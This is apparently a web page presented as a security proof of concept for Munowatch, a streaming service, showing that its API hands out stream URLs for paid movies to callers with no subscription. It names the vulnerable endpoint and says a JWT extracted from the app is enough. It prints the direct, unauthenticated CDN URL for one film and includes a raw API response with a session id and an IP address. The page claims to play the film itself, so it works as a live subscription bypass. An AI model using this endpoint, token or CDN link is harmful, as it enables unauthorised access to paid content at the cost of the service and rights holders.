SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
THIS MOVIE'S CDN STREAM — No subscription, no login, no auth token required
Per-movie CDN bypass proof:
The API returned playingUrl for Block Party with issubscriber: false, user_access: deny, and paid_for: true.
The video_name + serverhost from the API response are used to construct the CDN URL above — confirming that the CDN file for this specific movie is publicly accessible with no authentication.
Block Party
Vj Junior Comedy 01h 26m 3 years ago

Recent Harvard grad Keke McQueen, 23, is eager to ditch her hometown of Grand Rapids, Michigan for her dream job in Atlanta, but when Keke discovers that her once super-sharp Grandma Janice is showing early signs of dementia, Keke puts her career at stake in order to save her Grandma's block party, and in the process, Keke falls back in love with her hometown and its people.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/32321/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 41
video_name Block.Party.2022.1080p.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN stream https://lunoluno.b-cdn.net/cc50/df86/Block.Party.2022.1080p.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 32321,
    "video_title": "Block Party",
    "description": " Recent Harvard grad Keke McQueen, 23, is eager to ditch her hometown of Grand Rapids, Michigan for her dream job in Atlanta, but when Keke discovers that her once super-sharp Grandma Janice is showing early signs of dementia, Keke puts her career at stake in order to save her Grandma's block party, and in the process, Keke falls back in love with her hometown and its people.",
    "video_name": "Block.Party.2022.1080p.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "41",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 26m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/FsoMHMAsgX3160.jpg",
    "tfilehistory": "",
    "category_id": 9,
    "language_id": 1,
    "recording_date": "2022-12-21",
    "age_id": "PG",
    "location": 1,
    "tab_category_id": 9,
    "series_code": "32321",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "789.57 MB",
    "create_date": "2022-12-21 07:49:20",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "No",
    "secduration": "5207.000000",
    "issubscriber": false,
    "genre": "Comedy",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "3 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}